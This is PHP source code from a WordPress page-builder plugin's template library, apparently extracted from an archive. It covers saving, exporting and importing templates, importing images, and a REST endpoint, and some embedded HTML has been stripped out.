$item[2]; } ); if ( $add_new_item ) { remove_submenu_page( static::ADMIN_MENU_SLUG, $add_new_slug ); $admin_menu->register( admin_url( static::ADMIN_MENU_SLUG . '#add_new' ), new Add_New_Template_Menu_Item() ); } if ( $categories_item ) { remove_submenu_page( static::ADMIN_MENU_SLUG, $category_slug ); $admin_menu->register( $category_slug, new Templates_Categories_Menu_Item() ); } } /** * Add a `current` CSS class to the `Saved Templates` submenu page when it's active. * It should work by default, but since we interfere with WordPress' builtin CPT menus it doesn't work properly. * * @return void */ private function admin_menu_set_current() { global $submenu; if ( $this->is_current_screen() ) { $library_submenu = &$submenu[ static::ADMIN_MENU_SLUG ]; $library_title = $this->get_library_title(); foreach ( $library_submenu as &$item ) { if ( $library_title === $item[0] ) { if ( ! isset( $item[4] ) ) { $item[4] = ''; } $item[4] .= ' current'; } } } } private function register_admin_menu( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( static::get_admin_url( true ), new Saved_Templates_Menu_Item() ); } public function admin_title( $admin_title, $title ) { $library_title = $this->get_library_title(); if ( $library_title ) { $admin_title = str_replace( $title, $library_title, $admin_title ); } return $admin_title; } public function replace_admin_heading() { $library_title = $this->get_library_title(); if ( $library_title ) { global $post_type_object; $post_type_object->labels->name = $library_title; } } /** * Get local templates. * * Retrieve local templates saved by the user on his site. * * @since 1.0.0 * @access public * * @param array $args Optional. Filter templates based on a set of * arguments. Default is an empty array. * * @return array Local templates. */ public function get_items( $args = [] ) { $template_types = array_values( self::$template_types ); if ( ! empty( $args['type'] ) ) { $template_types = $args['type']; unset( $args['type'] ); } $defaults = [ 'post_type' => self::CPT, 'post_status' => 'publish', 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', 'meta_query' => [ [ 'key' => Document::TYPE_META_KEY, 'value' => $template_types, ], ], ]; $query_args = wp_parse_args( $args, $defaults ); $templates_query = new \WP_Query( $query_args ); $templates = []; if ( $templates_query->have_posts() ) { foreach ( $templates_query->get_posts() as $post ) { $templates[] = $this->get_item( $post->ID ); } } return $templates; } /** * Save local template. * * Save new or update existing template on the database. * * @since 1.0.0 * @access public * * @param array $template_data Local template data. * * @return \WP_Error|int The ID of the saved/updated template, `WP_Error` otherwise. */ public function save_item( $template_data ) { if ( ! current_user_can( $this->post_type_object->cap->edit_posts ) ) { return new \WP_Error( 'save_error', esc_html__( 'Access denied.', 'elementor' ) ); } $defaults = [ 'title' => esc_html__( '(no title)', 'elementor' ), 'page_settings' => [], ]; $template_data = wp_parse_args( $template_data, $defaults ); $template_data['status'] = current_user_can( 'publish_posts' ) ? 'publish' : 'pending'; // BC: Allow importing any template type when using CLI // to support users that rely on this mechanism. $should_check_template_type = ! $this->is_wp_cli(); if ( $should_check_template_type && ! $this->is_valid_template_type( $template_data['type'] ) ) { return new \WP_Error( 'invalid_template_type', esc_html__( 'Invalid template type.', 'elementor' ) ); } $document = Plugin::$instance->documents->create( $template_data['type'], [ 'post_title' => $template_data['title'], 'post_status' => $template_data['status'], ] ); if ( is_wp_error( $document ) ) { /** * @var \WP_Error $document */ return $document; } if ( ! empty( $template_data['content'] ) ) { $template_data['content'] = $this->replace_elements_ids( $template_data['content'] ); } $document->save( [ 'elements' => $template_data['content'], 'settings' => $template_data['page_settings'], ] ); $template_id = $document->get_main_id(); /** * After template library save. * * Fires after Elementor template library was saved. * * @since 1.0.1 * * @param int $template_id The ID of the template. * @param array $template_data The template data. */ do_action( 'elementor/template-library/after_save_template', $template_id, $template_data ); /** * After template library update. * * Fires after Elementor template library was updated. * * @since 1.0.1 * * @param int $template_id The ID of the template. * @param array $template_data The template data. */ do_action( 'elementor/template-library/after_update_template', $template_id, $template_data ); return $template_id; } protected function is_valid_template_type( $type ) { $document_class = Plugin::$instance->documents->get_document_type( $type, false ); if ( ! $document_class ) { return false; } $cpt = $document_class::get_property( 'cpt' ); if ( ! $cpt || ! is_array( $cpt ) || 1 !== count( $cpt ) ) { return false; } $is_valid_template_type = in_array( static::CPT, $cpt, true ); return apply_filters( 'elementor/template_library/sources/local/is_valid_template_type', $is_valid_template_type, $cpt, ); } // For testing purposes only, in order to be able to mock the `WP_CLI` constant. protected function is_wp_cli() { return Utils::is_wp_cli(); } /** * Update local template. * * Update template on the database. * * @since 1.0.0 * @access public * * @param array $new_data New template data. * * @return \WP_Error|true True if template updated, `WP_Error` otherwise. */ public function update_item( $new_data ) { if ( ! current_user_can( $this->post_type_object->cap->edit_post, $new_data['id'] ) ) { return new \WP_Error( 'save_error', esc_html__( 'Access denied.', 'elementor' ) ); } $document = Plugin::$instance->documents->get( $new_data['id'] ); if ( ! $document ) { return new \WP_Error( 'save_error', esc_html__( 'Template not exist.', 'elementor' ) ); } $document->save( [ 'elements' => $new_data['content'], ] ); /** * After template library update. * * Fires after Elementor template library was updated. * * @since 1.0.0 * * @param int $new_data_id The ID of the new template. * @param array $new_data The new template data. */ do_action( 'elementor/template-library/after_update_template', $new_data['id'], $new_data ); return true; } /** * Get local template. * * Retrieve a single local template saved by the user on his site. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return array Local template. */ public function get_item( $template_id ) { $post = get_post( $template_id ); $user = get_user_by( 'id', $post->post_author ); $page = SettingsManager::get_settings_managers( 'page' )->get_model( $template_id ); $page_settings = $page->get_data( 'settings' ); $date = strtotime( $post->post_date ); $data = [ 'template_id' => $post->ID, 'source' => $this->get_id(), 'type' => self::get_template_type( $post->ID ), 'title' => $post->post_title, 'thumbnail' => get_the_post_thumbnail_url( $post ), 'date' => $date, 'human_date' => date_i18n( get_option( 'date_format' ), $date ), 'human_modified_date' => date_i18n( get_option( 'date_format' ), strtotime( $post->post_modified ) ), 'author' => $user->display_name, 'status' => $post->post_status, 'hasPageSettings' => ! empty( $page_settings ), 'tags' => [], 'export_link' => $this->get_export_link( $template_id ), 'url' => get_permalink( $post->ID ), ]; /** * Get template library template. * * Filters the template data when retrieving a single template from the * template library. * * @since 1.0.0 * * @param array $data Template data. */ $data = apply_filters( 'elementor/template-library/get_template', $data ); return $data; } /** * Get template data. * * Retrieve the data of a single local template saved by the user on his site. * * @since 1.5.0 * @access public * * @param array $args Custom template arguments. * * @return array Local template data. */ public function get_data( array $args ) { $template_id = $args['template_id']; $document = Plugin::$instance->documents->get( $template_id ); $content = []; if ( $document ) { // TODO: Validate the data (in JS too!). if ( ! empty( $args['display'] ) ) { $content = $document->get_elements_raw_data( null, true ); } else { $content = $document->get_elements_data(); } if ( ! empty( $content ) ) { $content = $this->replace_elements_ids( $content ); } } $data = [ 'content' => $content, ]; if ( ! empty( $args['with_page_settings'] ) ) { $page = SettingsManager::get_settings_managers( 'page' )->get_model( $args['template_id'] ); $data['page_settings'] = $page->get_data( 'settings' ); } return $data; } /** * Delete local template. * * Delete template from the database. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Post|\WP_Error|false|null Post data on success, false or null * or 'WP_Error' on failure. */ public function delete_template( $template_id ) { if ( ! current_user_can( $this->post_type_object->cap->delete_post, $template_id ) ) { return new \WP_Error( 'template_error', esc_html__( 'Access denied.', 'elementor' ) ); } return wp_delete_post( $template_id, true ); } /** * Export local template. * * Export template to a file. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error WordPress error if template export failed. */ public function export_template( $template_id ) { $file_data = $this->prepare_template_export( $template_id ); if ( is_wp_error( $file_data ) ) { return $file_data; } $this->send_file_headers( $file_data['name'], strlen( $file_data['content'] ) ); // Clear buffering just in case. @ob_end_clean(); flush(); // Output file contents. // PHPCS - Export widget json echo $file_data['content']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped die; } /** * Export multiple local templates. * * Export multiple template to a ZIP file. * * @since 1.6.0 * @access public * * @param array $template_ids An array of template IDs. * * @return \WP_Error WordPress error if export failed. */ public function export_multiple_templates( array $template_ids ) { $files = []; $wp_upload_dir = wp_upload_dir(); $temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR; // Create temp path if it doesn't exist wp_mkdir_p( $temp_path ); // Create all json files foreach ( $template_ids as $template_id ) { $file_data = $this->prepare_template_export( $template_id ); if ( is_wp_error( $file_data ) ) { continue; } $complete_path = $temp_path . '/' . $file_data['name']; $put_contents = file_put_contents( $complete_path, $file_data['content'] ); if ( ! $put_contents ) { return new \WP_Error( '404', sprintf( 'Cannot create file "%s".', $file_data['name'] ) ); } $files[] = [ 'path' => $complete_path, 'name' => $file_data['name'], ]; } if ( ! $files ) { return new \WP_Error( 'empty_files', 'There is no files to export (probably all the requested templates are empty).' ); } // Create temporary .zip file $zip_archive_filename = 'elementor-templates-' . gmdate( 'Y-m-d' ) . '.zip'; $zip_archive = new \ZipArchive(); $zip_complete_path = $temp_path . '/' . $zip_archive_filename; $zip_archive->open( $zip_complete_path, \ZipArchive::CREATE ); foreach ( $files as $file ) { $zip_archive->addFile( $file['path'], $file['name'] ); } $zip_archive->close(); foreach ( $files as $file ) { unlink( $file['path'] ); } $this->send_file_headers( $zip_archive_filename, filesize( $zip_complete_path ) ); @ob_end_flush(); @readfile( $zip_complete_path ); unlink( $zip_complete_path ); die; } /** * Import local template. * * Import template from a file. * * @since 1.0.0 * @access public * * @param string $name - The file name * @param string $path - The file path * @return \WP_Error|array An array of items on success, 'WP_Error' on failure. */ public function import_template( $name, $path ) { if ( empty( $path ) ) { return new \WP_Error( 'file_error', 'Please upload a file to import' ); } // Set the Request's state as an Elementor upload request, in order to support unfiltered file uploads. Plugin::$instance->uploads_manager->set_elementor_upload_state( true ); $items = []; // If the import file is a Zip file with potentially multiple JSON files if ( 'zip' === pathinfo( $name, PATHINFO_EXTENSION ) ) { $extracted_files = Plugin::$instance->uploads_manager->extract_and_validate_zip( $path, [ 'json' ] ); if ( is_wp_error( $extracted_files ) ) { // Delete the temporary extraction directory, since it's now not necessary. Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] ); return $extracted_files; } foreach ( $extracted_files['files'] as $file_path ) { $import_result = $this->import_single_template( $file_path ); if ( is_wp_error( $import_result ) ) { // Delete the temporary extraction directory, since it's now not necessary. Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] ); return $import_result; } $items[] = $import_result; } // Delete the temporary extraction directory, since it's now not necessary. Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] ); } else { // If the import file is a single JSON file $import_result = $this->import_single_template( $path ); if ( is_wp_error( $import_result ) ) { return $import_result; } $items[] = $import_result; } return $items; } /** * Post row actions. * * Add an export link to the template library action links table list. * * Fired by `post_row_actions` filter. * * @since 1.0.0 * @access public * * @param array $actions An array of row action links. * @param \WP_Post $post The post object. * * @return array An updated array of row action links. */ public function post_row_actions( $actions, \WP_Post $post ) { if ( self::is_base_templates_screen() ) { if ( $this->is_template_supports_export( $post->ID ) ) { $actions['export-template'] = sprintf( '%2$s', $this->get_export_link( $post->ID ), esc_html__( 'Export Template', 'elementor' ) ); } } return $actions; } /** * Admin import template form. * * The import form displayed in "My Library" screen in WordPress dashboard. * * The form allows the user to import template in json/zip format to the site. * * Fired by `admin_footer` action. * * @since 1.0.0 * @access public */ public function admin_import_template_form() { if ( ! self::is_base_templates_screen() || ! User::is_current_user_can_upload_json() ) { return; } /** @var \Elementor\Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); ?>
post_type && isset( $post_states['elementor'] ) ) { unset( $post_states['elementor'] ); } return $post_states; } /** * Get template export link. * * Retrieve the link used to export a single template based on the template * ID. * * @since 2.0.0 * @access private * * @param int $template_id The template ID. * * @return string Template export URL. */ private function get_export_link( $template_id ) { // TODO: BC since 2.3.0 - Use `$ajax->create_nonce()` /** @var \Elementor\Core\Common\Modules\Ajax\Module $ajax */ // $ajax = Plugin::$instance->common->get_component( 'ajax' ); return add_query_arg( [ 'action' => 'elementor_library_direct_actions', 'library_action' => 'export_template', 'source' => $this->get_id(), '_nonce' => wp_create_nonce( 'elementor_ajax' ), 'template_id' => $template_id, ], admin_url( 'admin-ajax.php' ) ); } /** * On template save. * * Run this method when template is being saved. * * Fired by `save_post` action. * * @since 1.0.1 * @access public * * @param int $post_id Post ID. * @param \WP_Post $post The current post object. */ public function on_save_post( $post_id, \WP_Post $post ) { if ( self::CPT !== $post->post_type ) { return; } if ( self::get_template_type( $post_id ) ) { // It's already with a type return; } // Don't save type on import, the importer will do it. if ( did_action( 'import_start' ) ) { return; } $this->save_item_type( $post_id, 'page' ); } /** * Save item type. * * When saving/updating templates, this method is used to update the post * meta data and the taxonomy. * * @since 1.0.1 * @access private * * @param int $post_id Post ID. * @param string $type Item type. */ private function save_item_type( $post_id, $type ) { update_post_meta( $post_id, Document::TYPE_META_KEY, $type ); wp_set_object_terms( $post_id, $type, self::TAXONOMY_TYPE_SLUG ); } /** * Bulk export action. * * Adds an 'Export' action to the Bulk Actions drop-down in the template * library. * * Fired by `bulk_actions-edit-elementor_library` filter. * * @since 1.6.0 * @access public * * @param array $actions An array of the available bulk actions. * * @return array An array of the available bulk actions. */ public function admin_add_bulk_export_action( $actions ) { $actions[ self::BULK_EXPORT_ACTION ] = esc_html__( 'Export', 'elementor' ); return $actions; } /** * Add bulk export action. * * Handles the template library bulk export action. * * Fired by `handle_bulk_actions-edit-elementor_library` filter. * * @since 1.6.0 * @access public * * @param string $redirect_to The redirect URL. * @param string $action The action being taken. * @param array $post_ids The items to take the action on. */ public function admin_export_multiple_templates( $redirect_to, $action, $post_ids ) { if ( self::BULK_EXPORT_ACTION === $action ) { $result = $this->export_multiple_templates( $post_ids ); // If you reach this line, the export failed // PHPCS - Not user input. wp_die( $result->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } /** * Print admin tabs. * * Used to output the template library tabs with their labels. * * Fired by `views_edit-elementor_library` filter. * * @since 2.0.0 * @access public * * @param array $views An array of available list table views. * * @return array An updated array of available list table views. */ public function admin_print_tabs( $views ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required to retrieve the value. $current_type = Utils::get_super_global_value( $_REQUEST, self::TAXONOMY_TYPE_SLUG ) ?? ''; $active_class = $current_type ? '' : ' nav-tab-active'; $current_tabs_group = $this->get_current_tab_group(); $url_args = [ 'post_type' => self::CPT, 'tabs_group' => $current_tabs_group, ]; $baseurl = add_query_arg( $url_args, admin_url( 'edit.php' ) ); $filter = [ 'admin_tab_group' => $current_tabs_group, ]; $operator = 'and'; if ( empty( $current_tabs_group ) ) { // Don't include 'not-supported' or other templates that don't set their `admin_tab_group`. $operator = 'NOT'; } $doc_types = Plugin::$instance->documents->get_document_types( $filter, $operator ); if ( 1 >= count( $doc_types ) ) { return $views; } ?> self::CPT, 'post_type' => get_query_var( 'elementor_library_type' ), ] ); if ( $args['cpt'] !== $post_type || 'bottom' !== $which ) { return; } global $wp_list_table; $total_items = $wp_list_table->get_pagination_arg( 'total_items' ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required to retrieve the value. if ( ! empty( $total_items ) || ! empty( $_REQUEST['s'] ) ) { return; } $current_type = $args['post_type']; $document_types = Plugin::instance()->documents->get_document_types(); if ( empty( $document_types[ $current_type ] ) ) { return; } // TODO: Better way to exclude widget type. if ( 'widget' === $current_type ) { return; } // TODO: This code maybe unreachable see if above `if ( empty( $document_types[ $current_type ] ) )`. if ( empty( $current_type ) ) { $counts = (array) wp_count_posts( self::CPT ); unset( $counts['auto-draft'] ); $count = array_sum( $counts ); if ( 0 < $count ) { return; } $current_type = 'template'; $args['additional_inline_style'] = '#elementor-template-library-tabs-wrapper {display: none;}'; } $this->render_blank_state( $current_type, $args ); } private function render_blank_state( $current_type, array $args = [] ) { $current_type_label = $this->get_template_label_by_type( $current_type ); $inline_style = '#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions, .wrap .subsubsub { display:none;}'; $args = wp_parse_args( $args, [ 'additional_inline_style' => '', 'href' => '', 'description' => esc_html__( 'Add templates and reuse them across your website. Easily export and import them to any other project, for an optimized workflow.', 'elementor' ), ] ); $inline_style .= $args['additional_inline_style']; ?>
print_blank_state_template( $current_type_label, $args['href'], $args['description'] ); ?>
labels->all_items; $dropdown_options = array( 'show_option_all' => $all_items, 'show_option_none' => $all_items, 'hide_empty' => 0, 'hierarchical' => 1, 'show_count' => 0, 'orderby' => 'name', 'value_field' => 'slug', 'taxonomy' => self::TAXONOMY_CATEGORY_SLUG, 'name' => self::TAXONOMY_CATEGORY_SLUG, //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required to retrieve the value. 'selected' => Utils::get_super_global_value( $_GET, self::TAXONOMY_CATEGORY_SLUG ) ?? '', ); printf( '', esc_attr( self::TAXONOMY_CATEGORY_SLUG ), esc_html_x( 'Filter by category', 'Template Library', 'elementor' ) ); wp_dropdown_categories( $dropdown_options ); } /** * Import single template. * * Import template from a file to the database. * * @since 1.6.0 * @access private * * @param string $file_path File name. * * @return \WP_Error|int|array Local template array, or template ID, or * `WP_Error`. */ private function import_single_template( $file_path ) { $data = json_decode( Utils::file_get_contents( $file_path ), true ); if ( empty( $data ) ) { return new \WP_Error( 'file_error', 'Invalid File' ); } $content = $data['content']; if ( ! is_array( $content ) ) { return new \WP_Error( 'file_error', 'Invalid Content In File' ); } $content = $this->process_export_import_content( $content, 'on_import' ); $page_settings = []; if ( ! empty( $data['page_settings'] ) ) { $page = new Model( [ 'id' => 0, 'settings' => $data['page_settings'], ] ); $page_settings_data = $this->process_element_export_import_content( $page, 'on_import' ); if ( ! empty( $page_settings_data['settings'] ) ) { $page_settings = $page_settings_data['settings']; } } $template_id = $this->save_item( [ 'content' => $content, 'title' => $data['title'], 'type' => $data['type'], 'page_settings' => $page_settings, ] ); if ( is_wp_error( $template_id ) ) { return $template_id; } return $this->get_item( $template_id ); } /** * Prepare template to export. * * Retrieve the relevant template data and return them as an array. * * @since 1.6.0 * @access private * * @param int $template_id The template ID. * * @return \WP_Error|array Exported template data. */ private function prepare_template_export( $template_id ) { $document = Plugin::$instance->documents->get( $template_id ); $template_data = $document->get_export_data(); if ( empty( $template_data['content'] ) ) { return new \WP_Error( 'empty_template', 'The template is empty' ); } $export_data = [ 'content' => $template_data['content'], 'page_settings' => $template_data['settings'], 'version' => DB::DB_VERSION, 'title' => $document->get_main_post()->post_title, 'type' => self::get_template_type( $template_id ), ]; return [ 'name' => 'elementor-' . $template_id . '-' . gmdate( 'Y-m-d' ) . '.json', 'content' => wp_json_encode( $export_data ), ]; } /** * Send file headers. * * Set the file header when export template data to a file. * * @since 1.6.0 * @access private * * @param string $file_name File name. * @param int $file_size File size. */ private function send_file_headers( $file_name, $file_size ) { header( 'Content-Type: application/octet-stream' ); header( 'Content-Disposition: attachment; filename=' . $file_name ); header( 'Expires: 0' ); header( 'Cache-Control: must-revalidate' ); header( 'Pragma: public' ); header( 'Content-Length: ' . $file_size ); } /** * Get template label by type. * * Retrieve the template label for any given template type. * * @since 2.0.0 * @access private * * @param string $template_type Template type. * * @return string Template label. */ private function get_template_label_by_type( $template_type ) { $document_types = Plugin::instance()->documents->get_document_types(); if ( isset( $document_types[ $template_type ] ) ) { $template_label = call_user_func( [ $document_types[ $template_type ], 'get_title' ] ); } else { $template_label = ucwords( str_replace( [ '_', '-' ], ' ', $template_type ) ); } /** * Template label by template type. * * Filters the template label by template type in the template library . * * @since 2.0.0 * * @param string $template_label Template label. * @param string $template_type Template type. */ $template_label = apply_filters( 'elementor/template-library/get_template_label_by_type', $template_label, $template_type ); return $template_label; } /** * Filter template types in admin query. * * Update the template types in the main admin query. * * Fired by `parse_query` action. * * @since 2.4.0 * @access public * * @param \WP_Query $query The `WP_Query` instance. */ public function admin_query_filter_types( \WP_Query $query ) { if ( ! $this->is_current_screen() || ! empty( $query->query_vars['meta_key'] ) ) { return; } $current_tabs_group = $this->get_current_tab_group(); if ( isset( $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] ) && '-1' === $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] ) { unset( $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] ); } if ( empty( $current_tabs_group ) ) { return; } $doc_types = Plugin::$instance->documents->get_document_types( [ 'admin_tab_group' => $current_tabs_group, ] ); $query->query_vars['meta_key'] = Document::TYPE_META_KEY; $query->query_vars['meta_value'] = array_keys( $doc_types ); } /** * Add template library actions. * * Register filters and actions for the template library. * * @since 2.0.0 * @access private */ private function add_actions() { if ( is_admin() ) { add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->register_admin_menu( $admin_menu ); }, static::ADMIN_MENU_PRIORITY ); add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->admin_menu_reorder( $admin_menu ); }, 800 ); add_action( 'elementor/admin/menu/after_register', function () { $this->admin_menu_set_current(); } ); add_filter( 'admin_title', [ $this, 'admin_title' ], 10, 2 ); add_action( 'all_admin_notices', [ $this, 'replace_admin_heading' ] ); add_filter( 'post_row_actions', [ $this, 'post_row_actions' ], 10, 2 ); add_action( 'admin_footer', [ $this, 'admin_import_template_form' ] ); add_action( 'save_post', [ $this, 'on_save_post' ], 10, 2 ); add_filter( 'display_post_states', [ $this, 'remove_elementor_post_state_from_library' ], 11, 2 ); add_action( 'parse_query', [ $this, 'admin_query_filter_types' ] ); // Template filter by category. add_action( 'restrict_manage_posts', [ $this, 'add_filter_by_category' ] ); // Template type column. add_action( 'manage_' . self::CPT . '_posts_columns', [ $this, 'admin_columns_headers' ] ); add_action( 'manage_' . self::CPT . '_posts_custom_column', [ $this, 'admin_columns_content' ], 10, 2 ); // Template library bulk actions. add_filter( 'bulk_actions-edit-elementor_library', [ $this, 'admin_add_bulk_export_action' ] ); add_filter( 'handle_bulk_actions-edit-elementor_library', [ $this, 'admin_export_multiple_templates' ], 10, 3 ); // Print template library tabs. add_filter( 'views_edit-' . self::CPT, [ $this, 'admin_print_tabs' ] ); // Show blank state. add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_render_blank_state' ] ); } add_action( 'template_redirect', [ $this, 'block_template_frontend' ] ); // Remove elementor library templates from WP Sitemap add_filter( 'wp_sitemaps_post_types', function( $post_types ) { return $this->remove_elementor_cpt_from_sitemap( $post_types ); } ); } /** * @since 2.0.6 * @access public */ public function admin_columns_content( $column_name, $post_id ) { if ( 'elementor_library_type' === $column_name ) { /** @var Document $document */ $document = Plugin::$instance->documents->get( $post_id ); if ( $document && $document instanceof Library_Document ) { $document->print_admin_column_type(); } } } /** * @since 2.0.6 * @access public */ public function admin_columns_headers( $posts_columns ) { // Replace original column that bind to the taxonomy - with another column. unset( $posts_columns['taxonomy-elementor_library_type'] ); $offset = 2; $posts_columns = array_slice( $posts_columns, 0, $offset, true ) + [ 'elementor_library_type' => esc_html__( 'Type', 'elementor' ), ] + array_slice( $posts_columns, $offset, null, true ); return $posts_columns; } public function get_current_tab_group( $default = '' ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. $current_tabs_group = Utils::get_super_global_value( $_REQUEST, 'tabs_group' ) ?? ''; //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. $type_slug = Utils::get_super_global_value( $_REQUEST, self::TAXONOMY_TYPE_SLUG ); if ( $type_slug ) { $doc_type = Plugin::$instance->documents->get_document_type( $type_slug, '' ); if ( $doc_type ) { $current_tabs_group = $doc_type::get_property( 'admin_tab_group' ); } } return $current_tabs_group; } private function get_library_title() { $title = ''; if ( $this->is_current_screen() ) { $current_tab_group = $this->get_current_tab_group(); if ( $current_tab_group ) { $titles = [ 'library' => esc_html__( 'Saved Templates', 'elementor' ), 'theme' => esc_html__( 'Theme Builder', 'elementor' ), 'popup' => esc_html__( 'Popups', 'elementor' ), ]; if ( ! empty( $titles[ $current_tab_group ] ) ) { $title = $titles[ $current_tab_group ]; } } } return $title; } private function is_current_screen() { global $pagenow, $typenow; return 'edit.php' === $pagenow && self::CPT === $typenow; } /** * @param array $post_types * * @return array */ private function remove_elementor_cpt_from_sitemap( array $post_types ) { unset( $post_types[ self::CPT ] ); return $post_types; } /** * Template library local source constructor. * * Initializing the template library local source base by registering custom * template data and running custom actions. * * @since 1.0.0 * @access public */ public function __construct() { parent::__construct(); $this->add_actions(); } } includes/template-library/classes/class-import-images.php000064400000013226147206604650017673 0ustar00_replace_image_ids[ $attachment['id'] ] ) ) { return $this->_replace_image_ids[ $attachment['id'] ]; } $post_id = $wpdb->get_var( $wpdb->prepare( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = \'_elementor_source_image_hash\' AND `meta_value` = %s ;', $this->get_hash_image( $attachment['url'] ) ) ); if ( $post_id ) { $new_attachment = [ 'id' => $post_id, 'url' => wp_get_attachment_url( $post_id ), ]; $this->_replace_image_ids[ $attachment['id'] ] = $new_attachment; return $new_attachment; } return false; } /** * Import image. * * Import a single image from a remote server, upload the image WordPress * uploads folder, create a new attachment in the database and updates the * attachment metadata. * * @since 1.0.0 * @since 3.2.0 New `$parent_post_id` option added * @access public * * @param array $attachment The attachment. * @param int $parent_post_id Optional * * @return false|array Imported image data, or false. */ public function import( $attachment, $parent_post_id = null ) { if ( isset( $attachment['tmp_name'] ) ) { // Used when called to import a directly-uploaded file. $filename = $attachment['name']; $file_content = Utils::file_get_contents( $attachment['tmp_name'] ); } else { // Used when attachment information is passed to this method. if ( ! empty( $attachment['id'] ) ) { $saved_image = $this->get_saved_image( $attachment ); if ( $saved_image ) { return $saved_image; } } // Extract the file name and extension from the url. $filename = basename( $attachment['url'] ); $request = wp_safe_remote_get( $attachment['url'] ); // Make sure the request returns a valid result. if ( is_wp_error( $request ) || ( ! empty( $request['response']['code'] ) && 200 !== (int) $request['response']['code'] ) ) { return false; } $file_content = wp_remote_retrieve_body( $request ); } if ( empty( $file_content ) ) { return false; } $filetype = wp_check_filetype( $filename ); // If the file type is not recognized by WordPress, exit here to avoid creation of an empty attachment document. if ( ! $filetype['ext'] ) { return false; } if ( 'svg' === $filetype['ext'] ) { // In case that unfiltered-files upload is not enabled, SVG images should not be imported. if ( ! Uploads_Manager::are_unfiltered_uploads_enabled() ) { return false; } $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); $file_content = $svg_handler->sanitizer( $file_content ); }; $upload = wp_upload_bits( $filename, null, $file_content ); $post = [ 'post_title' => $filename, 'guid' => $upload['url'], ]; $info = wp_check_filetype( $upload['file'] ); if ( $info ) { $post['post_mime_type'] = $info['type']; } else { // For now just return the origin attachment return $attachment; // return new \WP_Error( 'attachment_processing_error', esc_html__( 'Invalid file type.', 'elementor' ) ); } $post_id = wp_insert_attachment( $post, $upload['file'], $parent_post_id ); apply_filters( 'elementor/template_library/import_images/new_attachment', $post_id ); // On REST requests. if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) { require_once ABSPATH . '/wp-admin/includes/image.php'; } if ( ! function_exists( 'wp_read_video_metadata' ) ) { require_once ABSPATH . '/wp-admin/includes/media.php'; } wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) ); update_post_meta( $post_id, '_elementor_source_image_hash', $this->get_hash_image( $attachment['url'] ) ); $new_attachment = [ 'id' => $post_id, 'url' => $upload['url'], ]; if ( ! empty( $attachment['id'] ) ) { $this->_replace_image_ids[ $attachment['id'] ] = $new_attachment; } return $new_attachment; } /** * Template library import images constructor. * * Initializing the images import class used by the template library through * the WordPress Filesystem API. * * @since 1.0.0 * @access public */ public function __construct() { if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); } } includes/template-library/data/endpoints/templates.php000064400000004421147206604650017265 0ustar00documents->get_document_types( [ 'show_in_library' => true, ] ); $this->register_route( '', \WP_REST_Server::CREATABLE, [ 'is_multi' => true, 'title' => [ 'required' => false, 'type' => 'string', 'description' => 'The title of the document', ], 'type' => [ 'required' => true, 'description' => 'The document type.', 'type' => 'string', 'enum' => array_keys( $document_types ), ], 'content' => [ 'required' => false, 'description' => 'Elementor data object', 'type' => 'object', ], ] ); } public function get_name() { return 'templates'; } public function get_format() { return 'template-library/templates'; } public function get_items( $request ) { return $this->reorder_categories( Plugin::$instance->templates_manager->get_library_data( [ 'filter_sources' => [ $request->get_param( 'source' ) ] ] ) ); } /** * Move the '404 page' category to the end of the list * * @param array $library_data * @return array */ private function reorder_categories( array $library_data ): array { $not_found_category = '404 page'; $key = array_search( $not_found_category, $library_data['config']['block']['categories'] ); if ( false === $key ) { return $library_data; } array_splice( $library_data['config']['block']['categories'], $key, 1 ); $library_data['config']['block']['categories'][] = $not_found_category; return $library_data; } public function create_items( $request ) { /** @var Source_Local $source */ $source = Plugin::$instance->templates_manager->get_source( 'local' ); $result = $source->save_item( [ 'title' => $request->get_param( 'title' ), 'type' => $request->get_param( 'type' ), 'content' => $request->get_param( 'content' ), 'page_settings' => $request->get_param( 'page_settings' ), ] ); if ( is_wp_error( $result ) ) { return $result; } return $source->get_item( $result ); } } includes/template-library/data/controller.php000064400000001266147206604650015453 0ustar00register_endpoint( new Endpoints\Templates( $this ) ); } protected function register_index_endpoint() { // Bypass, currently does not required. } public function get_permission_callback( $request ) { return User::is_current_user_can_edit_post_type( Source_Local::CPT ); } } includes/template-library/forms/new-template-form.php000064400000003132147206604650017042 0ustar00get_controls() as $control ) { switch ( $control['type'] ) { case Controls_Manager::SELECT: $this->render_select( $control ); break; default: throw new \Exception( "'{$control['type']}' control type is not supported." ); } } } private function render_select( $control_settings ) { $control_id = "elementor-new-template__form__{$control_settings['name']}"; $wrapper_class = isset( $control_settings['wrapper_class'] ) 